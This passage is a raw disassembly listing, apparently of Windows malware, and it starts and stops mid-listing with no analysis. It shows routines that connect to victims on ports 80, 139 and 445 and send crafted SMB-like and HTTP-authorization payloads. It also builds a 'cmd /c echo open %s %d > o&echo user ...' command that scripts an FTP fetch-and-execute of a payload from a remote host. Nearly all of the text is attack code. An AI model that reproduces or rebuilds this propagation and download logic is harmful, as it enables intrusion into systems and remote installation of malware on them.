aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_401B3F push 4 push offset dword_4195B0 lea ecx, [ebp+var_18] call sub_401B0B push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_401B0B sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_401B0B lea ecx, [ebp+var_18] call sub_401A91 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_401B5C push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_401B5C lea ecx, [ebp+var_40] call sub_401B6C lea ecx, [ebp+var_18] call sub_4019F4 lea ecx, [ebp+var_50] call sub_4019F4 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_401B5C push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_401B5C push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_401B5C lea ecx, [ebp+var_38] call sub_401B6C lea ecx, [ebp+var_20] call sub_4019F4 lea ecx, [ebp+var_30] call sub_4019F4 lea ecx, [ebp+var_40] call sub_4019F4 push esi lea eax, [ebp+var_858] push 41h push eax call sub_40B630 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_401B0B lea ecx, [ebp+var_28] call sub_401A91 push 2 push offset dword_41992C lea ecx, [ebp+var_28] call sub_401B0B push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_401B5C lea ecx, [ebp+var_28] call sub_401B6C lea ecx, [ebp+var_38] call sub_4019F4 lea ecx, [ebp+var_10] call sub_40195B lea ecx, [ebp+var_8] call sub_40195B push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_401B5C lea ecx, [ebp+var_10] call sub_401A0D lea ecx, [ebp+var_28] call sub_4019F4 push offset dword_419928 lea ecx, [ebp+var_8] call sub_401B3F push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401B5C lea ecx, [ebp+var_8] call sub_401A0D lea ecx, [ebp+var_10] call sub_4019F4 push offset dword_419924 lea ecx, [ebp+var_10] call sub_401B3F push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_401B5C lea ecx, [ebp+var_10] call sub_401A0D lea ecx, [ebp+var_8] call sub_4019F4 push offset dword_419918 lea ecx, [ebp+var_8] call sub_401B3F push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_401B5C lea ecx, [ebp+var_8] call sub_401A0D lea ecx, [ebp+var_10] call sub_4019F4 push offset dword_419914 lea ecx, [ebp+var_48] call sub_401B3F push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_401B5C lea ecx, [ebp+var_8] call sub_4019F4 pop esi loc_401F0B: ; CODE XREF: sub_401BC7+1Bj ; sub_401BC7+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_401BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F1D proc near ; CODE XREF: sub_401FE1+A2p ; sub_401FE1+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_4171B0 ; select cmp eax, edi jnz short loc_401F84 lea eax, [ebp+var_10C] push eax push esi call sub_416438 ; __WSAFDIsSet test eax, eax jnz short loc_401F88 loc_401F84: ; CODE XREF: sub_401F1D+54j xor eax, eax jmp short loc_401F98 ; --------------------------------------------------------------------------- loc_401F88: ; CODE XREF: sub_401F1D+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_42B3EC ; recv loc_401F98: ; CODE XREF: sub_401F1D+69j pop edi pop esi leave retn sub_401F1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F9C proc near ; CODE XREF: sub_401FE1+80p ; sub_401FE1+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_42B3D0 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_42B420 ; send cmp eax, 4 jz short loc_401FC6 xor al, al leave retn ; --------------------------------------------------------------------------- loc_401FC6: ; CODE XREF: sub_401F9C+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42B420 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_401F9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401FE1 proc near ; CODE XREF: sub_4020C0+48p ; sub_4023B8+179p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_40B6BF mov esi, eax pop ecx test esi, esi jnz short loc_40200A xor al, al jmp loc_4020BB ; --------------------------------------------------------------------------- loc_40200A: ; CODE XREF: sub_401FE1+20j push ebx push 0 push esi call sub_40B630 push 2Fh push offset dword_419640 push esi call sub_40B210 push 8 lea eax, [esi+31h] push offset dword_419670 push eax mov [esi+2Fh], di call sub_40B210 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_40B210 push 6 add ebx, edi push offset dword_422264 push ebx call sub_40B210 push 85h push offset dword_4195B8 push [ebp+arg_0] call sub_401F9C add esp, 48h test al, al jnz short loc_402071 loc_40206D: ; CODE XREF: sub_401FE1+B8j xor bl, bl jmp short loc_4020B2 ; --------------------------------------------------------------------------- loc_402071: ; CODE XREF: sub_401FE1+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_401F1D push [ebp+var_4] push esi push [ebp+arg_0] call sub_401F9C add esp, 1Ch test al, al jz short loc_40206D push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_401F1D add esp, 10h mov bl, 1 loc_4020B2: ; CODE XREF: sub_401FE1+8Ej push esi call sub_40B771 pop ecx mov al, bl loc_4020BB: ; CODE XREF: sub_401FE1+24j pop edi pop esi pop ebx leave retn sub_401FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4020C0 proc near ; CODE XREF: sub_4023B8+15Fp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_419680 push [ebp+arg_0] call dword_4171AC ; send cmp eax, 48h jnz short loc_4020FB push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_401F1D add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_4020FB cmp [ebp+var_20], 82h jz short loc_4020FF loc_4020FB: ; CODE XREF: sub_4020C0+1Bj ; sub_4020C0+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_4020FF: ; CODE XREF: sub_4020C0+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401FE1 add esp, 0Ch leave retn sub_4020C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402112 proc near ; CODE XREF: sub_40215E+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_417208 call sub_40B8FC and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_417200 fstp [esp+10h+var_10] call sub_40B7DA fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_40B8FC inc eax leave retn sub_402112 endp ; =============== S U B R O U T I N E ======================================= sub_40215E proc near ; CODE XREF: sub_4022FD+24p var_40 = qword ptr -40h mov eax, offset loc_416597 call sub_40BDC8 sub esp, 2Ch push ebx push esi push edi xor edi, edi mov [ebp-20h], edi mov al, [ebp+13h] push edi lea ecx, [ebp-38h] mov [ebp-38h], al call sub_402790 push dword ptr [ebp+10h] xor ebx, ebx inc ebx mov [ebp-4], ebx call sub_402112 cmp [ebp-2Ch], eax pop ecx jnb short loc_4021A0 push edi push eax lea ecx, [ebp-38h] call sub_40270A loc_4021A0: ; CODE XREF: sub_40215E+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_4022BE mov ebx, [ebp+10h] loc_4021AF: ; CODE XREF: sub_40215E+157j cmp dword ptr [ebp+10h], 3 jb short loc_4021BA push 3 loc_4021B7: ; CODE XREF: sub_40215E+64j pop ebx jmp short loc_4021CD ; --------------------------------------------------------------------------- loc_4021BA: ; CODE XREF: sub_40215E+55j cmp dword ptr [ebp+10h], 2 jnz short loc_4021C4 push 2 jmp short loc_4021B7 ; --------------------------------------------------------------------------- loc_4021C4: ; CODE XREF: sub_40215E+60j cmp dword ptr [ebp+10h], 1 jnz short loc_4021CD xor ebx, ebx inc ebx loc_4021CD: ; CODE XREF: sub_40215E+5Aj ; sub_40215E+6Aj mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_417210 fstp [esp+40h+var_40] call sub_40B923 pop ecx pop ecx call sub_40B8FC cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40220C mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40220C: ; CODE XREF: sub_40215E+94j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40227A add [ebp-18h], eax loc_40225E: ; CODE XREF: sub_40215E+11Aj movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4196D0[eax] push eax push 1 call sub_40258B inc esi cmp esi, [ebp-1Ch] jb short loc_40225E loc_40227A: ; CODE XREF: sub_40215E+FBj cmp dword ptr [ebp-18h], 48h jb short loc_402298 push dword ptr [ebp+14h] call sub_40B5B0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_4025E5 mov [ebp-18h], edi loc_402298: ; CODE XREF: sub_40215E+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4022B2 sub esi, [ebp-1Ch] loc_4022A3: ; CODE XREF: sub_40215E+152j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40258B dec esi jnz short loc_4022A3 loc_4022B2: ; CODE XREF: sub_40215E+140j cmp [ebp+10h], edi ja loc_4021AF xor ebx, ebx inc ebx loc_4022BE: ; CODE XREF: sub_40215E+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_402790 push 0FFFFFFFFh lea eax, [ebp-38h] push edi push eax mov ecx, esi call sub_40263D mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_402790 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40215E endp ; =============== S U B R O U T I N E ======================================= sub_4022FD proc near ; CODE XREF: sub_4023B8+142p mov eax, offset loc_4165B4 call sub_40BDC8 sub esp, 10h push ebx push esi push edi push offset byte_422270 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40215E mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_40B6BF mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_402347 xor bl, bl jmp short loc_40238B ; --------------------------------------------------------------------------- loc_402347: ; CODE XREF: sub_4022FD+44j mov ecx, [ebp-18h] mov eax, offset dword_417218 cmp ecx, ebx jnz short loc_402355 mov ecx, eax loc_402355: ; CODE XREF: sub_4022FD+54j cmp [ebp+18h], ebx jz short loc_40235D mov eax, [ebp+18h] loc_40235D: ; CODE XREF: sub_4022FD+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_40BDE7 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_42B420 ; send cmp eax, esi jz short loc_402382 xor bl, bl jmp short loc_402384 ; --------------------------------------------------------------------------- loc_402382: ; CODE XREF: sub_4022FD+7Fj mov bl, 1 loc_402384: ; CODE XREF: sub_4022FD+83j push edi call sub_40B771 pop ecx loc_40238B: ; CODE XREF: sub_4022FD+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_402790 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_402790 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_4022FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4023B8 proc near ; CODE XREF: sub_40154B+17Cp ; DATA XREF: .nsp0:off_41906Co var_420 = byte ptr -420h var_41F = byte ptr -41Fh var_391 = byte ptr -391h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_BB = byte ptr 0C3h push ebp mov ebp, esp sub esp, 420h and [ebp+var_420], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_41F] push 8Fh rep stosd stosw stosb lea eax, [ebp+var_420] push offset sub_419880 push eax call sub_40B210 add esp, 0Ch mov eax, offset byte_41C1A0 push eax push eax movzx eax, word ptr dword_42B2B4 push eax push [ebp+arg_0] call sub_405752 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp+var_391] push 400h push eax call sub_40BDE7 add eax, 90h push eax lea eax, [ebp+var_420] push eax push 164h lea eax, [ebp+var_8] push offset sub_419718 push eax call sub_401BC7 xor esi, esi add esp, 30h cmp [ebp+var_4], esi jnz short loc_402456 xor eax, eax jmp loc_40257E ; --------------------------------------------------------------------------- loc_402456: ; CODE XREF: sub_4023B8+95j mov [ebp+var_C], esi loc_402459: ; CODE XREF: sub_4023B8+1A1j test esi, esi jnz loc_40255F push 6 push 1 push 2 call dword_4171A8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_402547 xor eax, eax lea edi, [ebp+var_1A] stosd push [ebp+arg_A0] stosd stosd stosw mov [ebp+var_1C], 2 call dword_42B3D4 ; htons mov [ebp+var_1A], ax lea eax, [ebp+arg_4] push eax call dword_42B410 ; inet_addr mov [ebp+var_18], eax lea eax, [ebp+var_1C] push 10h push eax push ebx call dword_42B380 ; connect cmp eax, 0FFFFFFFFh jz loc_40253C cmp [ebp+arg_A0], 50h jnz short loc_402504 mov al, [ebp+arg_BB] sub esp, 10h mov esi, esp mov [ebp+var_20], esp push 0 mov ecx, esi mov [esi], al call sub_402790 lea eax, [ebp+arg_4] push eax call sub_40B5B0 pop ecx push eax lea eax, [ebp+arg_4] push eax mov ecx, esi call sub_4027C8 push [ebp+var_4] push [ebp+var_8] push ebx call sub_4022FD add esp, 1Ch jmp short loc_402539 ; --------------------------------------------------------------------------- loc_402504: ; CODE XREF: sub_4023B8+10Aj cmp [ebp+arg_A0], 8Bh jnz short loc_40251E push [ebp+var_4] push [ebp+var_8] push ebx call sub_4020C0 jmp short loc_402536 ; --------------------------------------------------------------------------- loc_40251E: ; CODE XREF: sub_4023B8+156j cmp [ebp+arg_A0], 1BDh jnz short loc_40253C push [ebp+var_4] push [ebp+var_8] push ebx call sub_401FE1 loc_402536: ; CODE XREF: sub_4023B8+164j add esp, 0Ch loc_402539: ; CODE XREF: sub_4023B8+14Aj movzx esi, al loc_40253C: ; CODE XREF: sub_4023B8+FDj ; sub_4023B8+170j push ebx call dword_42B468 ; closesocket test esi, esi jnz short loc_402552 loc_402547: ; CODE XREF: sub_4023B8+BAj push 3E8h call dword_417040 ; Sleep loc_402552: ; CODE XREF: sub_4023B8+18Dj inc [ebp+var_C] cmp [ebp+var_C], 2 jl loc_402459 loc_40255F: ; CODE XREF: sub_4023B8+A3j lea ecx, [ebp+var_8] call sub_4019F4 test esi, esi jz short loc_40257C mov eax, [ebp+arg_A8] imul eax, 3Ch lea eax, dword_419070[eax] inc dword ptr [eax] loc_40257C: ; CODE XREF: sub_4023B8+1B1j mov eax, esi loc_40257E: ; CODE XREF: sub_4023B8+99j pop edi pop esi pop ebx leave retn sub_4023B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416578 loc_402583: ; CODE XREF: sub_416578+3j ; .nsp0:00416591j ... push 1 call sub_402790 retn ; END OF FUNCTION CHUNK FOR sub_416578 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40258B proc near ; CODE XREF: sub_40215E+111p ; sub_40215E+14Cp arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_0] ja short loc_4025A2 call sub_4160E0 loc_4025A2: ; CODE XREF: sub_40258B+10j cmp [ebp+arg_0], 0 jbe short loc_4025DD mov edi, [esi+8] push 0 add edi, [ebp+arg_0] mov ecx, esi push edi call sub_40270A test al, al jz short loc_4025DD movsx eax, [ebp+arg_4] push [ebp+arg_0] push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_40B630 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_4025DD: ; CODE XREF: sub_40258B+1Bj ; sub_40258B+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_40258B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025E5 proc near ; CODE XREF: sub_40215E+132p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, ecx or eax, 0FFFFFFFFh push edi sub eax, [esi+8] cmp eax, [ebp+arg_4] ja short loc_4025FC call sub_4160E0 loc_4025FC: ; CODE XREF: sub_4025E5+10j cmp [ebp+arg_4], 0 jbe short loc_402635 mov edi, [esi+8] push 0 add edi, [ebp+arg_4] mov ecx, esi push edi call sub_40270A test al, al jz short loc_402635 push [ebp+arg_4] mov eax, [esi+8] add eax, [esi+4] push [ebp+arg_0] push eax call sub_40B210 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_402635: ; CODE XREF: sub_4025E5+1Bj ; sub_4025E5+2Fj mov eax, esi pop edi pop esi pop ebp retn 8 sub_4025E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40263D proc near ; CODE XREF: sub_40215E+179p ; sub_41613A+46p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_402655 call sub_41630C loc_402655: ; CODE XREF: sub_40263D+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_402667 mov esi, [ebp+arg_8] loc_402667: ; CODE XREF: sub_40263D+25j cmp edi, ebx jnz short loc_402685 add esi, ecx push 0FFFFFFFFh push esi mov ecx, edi call sub_4027FD push [ebp+arg_4] mov ecx, edi push 0 call sub_4027FD jmp short loc_402701 ; --------------------------------------------------------------------------- loc_402685: ; CODE XREF: sub_40263D+2Cj test esi, esi jbe short loc_4026C8 cmp esi, eax jnz short loc_4026C8 mov eax, [ebx+4] test eax, eax jnz short loc_402699 mov eax, offset dword_417218 loc_402699: ; CODE XREF: sub_40263D+55j cmp byte ptr [eax-1], 0FEh jnb short loc_4026C8 push 1 mov ecx, edi call sub_402790 mov eax, [ebx+4] test eax, eax jnz short loc_4026B4 mov eax, offset dword_417218 loc_4026B4: ; CODE XREF: sub_40263D+70j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_402701 ; --------------------------------------------------------------------------- loc_4026C8: ; CODE XREF: sub_40263D+4Aj ; sub_40263D+4Ej ... push 1 push esi mov ecx, edi call sub_40270A test al, al jz short loc_402701 mov eax, [ebp+arg_0] mov eax, [eax+4] test eax, eax jnz short loc_4026E5 mov eax, offset dword_417218 loc_4026E5: ; CODE XREF: sub_40263D+A1j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_40B210 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [esi+eax], 0 loc_402701: ; CODE XREF: sub_40263D+46j ; sub_40263D+89j ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40263D endp ; =============== S U B R O U T I N E ======================================= sub_40270A proc near ; CODE XREF: sub_40215E+3Dp ; sub_40258B+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40271C call sub_4160E0 loc_40271C: ; CODE XREF: sub_40270A+Bj mov eax, [esi+4] xor edx, edx cmp eax, edx jz short loc_402744 mov cl, [eax-1] cmp cl, dl jz short loc_402744 cmp cl, 0FFh jz short loc_402744 cmp edi, edx mov ecx, esi jnz short loc_402783 dec byte ptr [eax-1] push edx loc_40273B: ; CODE XREF: sub_40270A+48j call sub_402790 loc_402740: ; CODE XREF: sub_40270A+4Cj ; sub_40270A+53j xor al, al jmp short loc_40278B ; --------------------------------------------------------------------------- loc_402744: ; CODE XREF: sub_40270A+19j ; sub_40270A+20j ... cmp edi, edx jnz short loc_40275F cmp [esp+8+arg_4], dl jz short loc_402754 push 1 mov ecx, esi jmp short loc_40273B ; --------------------------------------------------------------------------- loc_402754: ; CODE XREF: sub_40270A+42j cmp eax, edx jz short loc_402740 mov [esi+8], edx mov [eax], dl jmp short loc_402740 ; --------------------------------------------------------------------------- loc_40275F: ; CODE XREF: sub_40270A+3Cj cmp [esp+8+arg_4], dl jz short loc_40277C mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_402771 cmp eax, edi jnb short loc_402789 loc_402771: ; CODE XREF: sub_40270A+61j push 1 mov ecx, esi call sub_402790 jmp short loc_402781 ; --------------------------------------------------------------------------- loc_40277C: ; CODE XREF: sub_40270A+59j cmp [esi+0Ch], edi jnb short loc_402789 loc_402781: ; CODE XREF: sub_40270A+70j mov ecx, esi loc_402783: ; CODE XREF: sub_40270A+2Bj push edi call sub_402864 loc_402789: ; CODE XREF: sub_40270A+65j ; sub_40270A+75j mov al, 1 loc_40278B: ; CODE XREF: sub_40270A+38j pop edi pop esi retn 8 sub_40270A endp ; =============== S U B R O U T I N E ======================================= sub_402790 proc near ; CODE XREF: sub_40215E+1Fp ; sub_40215E+16Bp ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_4027B8 mov eax, [esi+4] test eax, eax jz short loc_4027B8 dec eax mov cl, [eax] test cl, cl jz short loc_4027B1 cmp cl, 0FFh jz short loc_4027B1 dec byte ptr [eax] jmp short loc_4027B8 ; --------------------------------------------------------------------------- loc_4027B1: ; CODE XREF: sub_402790+16j ; sub_402790+1Bj push eax call sub_40BE38 pop ecx loc_4027B8: ; CODE XREF: sub_402790+8j ; sub_402790+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_402790 endp ; =============== S U B R O U T I N E ======================================= sub_4027C8 proc near ; CODE XREF: sub_4023B8+136p ; sub_402921+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 push edi mov esi, ecx call sub_40270A test al, al jz short loc_4027F6 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_40B210 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_4027F6: ; CODE XREF: sub_4027C8+12j mov eax, esi pop edi pop esi retn 8 sub_4027C8 endp ; =============== S U B R O U T I N E ======================================= sub_4027FD proc near ; CODE XREF: sub_40263D+35p ; sub_40263D+41p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_402810 call sub_41630C loc_402810: ; CODE XREF: sub_4027FD+Cj mov ecx, edi call sub_402921 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_402826 mov ebx, eax loc_402826: ; CODE XREF: sub_4027FD+25j test ebx, ebx jbe short loc_40285C mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40BE50 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40270A test al, al jz short loc_40285C mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40285C: ; CODE XREF: sub_4027FD+2Bj ; sub_4027FD+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4027FD endp ; =============== S U B R O U T I N E ======================================= sub_402864 proc near ; CODE XREF: sub_40270A+7Ap mov eax, offset loc_4165C0 call sub_40BDC8 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40288A mov edi, [ebp+8] loc_40288A: ; CODE XREF: sub_402864+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_402897 xor eax, eax loc_402897: ; CODE XREF: sub_402864+2Fj push eax call sub_40C185 pop ecx mov [ebp+8], eax jmp short loc_4028C8 ; --------------------------------------------------------------------------- loc_4028A3: ; DATA XREF: .nsp0:00417EC4o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_4028B2 xor eax, eax loc_4028B2: ; CODE XREF: sub_402864+4Aj push eax call sub_40C185 mov [ebp+8], eax pop ecx mov eax, offset loc_4028C2 retn ; --------------------------------------------------------------------------- loc_4028C2: ; DATA XREF: sub_402864+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_4028C8: ; CODE XREF: sub_402864+3Dj mov eax, [esi+8] test eax, eax jbe short loc_4028E6 cmp eax, edi jbe short loc_4028D5 mov eax, edi loc_4028D5: ; CODE XREF: sub_402864+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_40B210 add esp, 0Ch loc_4028E6: ; CODE XREF: sub_402864+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_402790 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_402906 mov edi, ebx loc_402906: ; CODE XREF: sub_402864+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [edi+eax], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_402864 endp ; =============== S U B R O U T I N E ======================================= sub_402921 proc near ; CODE XREF: sub_4027FD+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40294E mov al, [esi-1] test al, al jz short loc_40294E cmp al, 0FFh jz short loc_40294E push 1 call sub_402790 push esi call sub_40B5B0 pop ecx push eax push esi mov ecx, edi call sub_4027C8 loc_40294E: ; CODE XREF: sub_402921+9j ; sub_402921+10j ... pop edi pop esi retn sub_402921 endp ; =============== S U B R O U T I N E ======================================= sub_402951 proc near ; DATA XREF: .nsp0:00419004o test byte_47FC04, 1 jnz short loc_402961 or byte_47FC04, 1 loc_402961: ; CODE XREF: sub_402951+7j jmp $+5 push offset nullsub_1 call sub_40C200 pop ecx retn sub_402951 endp ; =============== S U B R O U T I N E ======================================= sub_402972 proc near ; CODE XREF: .nsp0:00402FA2p var_230 = byte ptr -230h var_210 = byte ptr -210h var_1F0 = byte ptr -1F0h var_1D0 = byte 